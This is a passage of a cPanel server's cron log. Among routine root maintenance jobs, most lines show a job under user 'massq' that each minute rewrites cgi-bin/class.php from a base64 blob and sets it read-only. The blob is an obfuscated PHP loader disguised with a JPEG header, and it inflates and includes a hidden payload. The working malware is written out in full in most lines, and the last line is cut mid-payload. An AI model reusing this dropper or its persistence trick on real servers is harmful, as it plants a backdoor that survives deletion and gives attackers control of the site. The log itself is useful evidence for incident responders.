QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:05:01 server CROND[20727]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 22:05:01 server CROND[20728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:05:01 server CROND[20729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:06:02 server CROND[20843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:07:01 server CROND[20893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:08:01 server CROND[21063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:09:01 server CROND[21119]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 22:09:01 server CROND[21118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:10:01 server CROND[21213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:10:01 server CROND[21214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:10:01 server CROND[21216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:10:01 server CROND[21215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:11:01 server CROND[21336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:12:01 server CROND[21394]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 22:12:01 server CROND[21395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:13:01 server CROND[21551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:14:01 server CROND[21657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:15:01 server CROND[21740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:15:01 server CROND[21742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:15:01 server CROND[21743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:15:01 server CROND[21741]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 22:16:01 server CROND[21872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:17:01 server CROND[21924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:18:01 server CROND[21972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:19:01 server CROND[22019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9f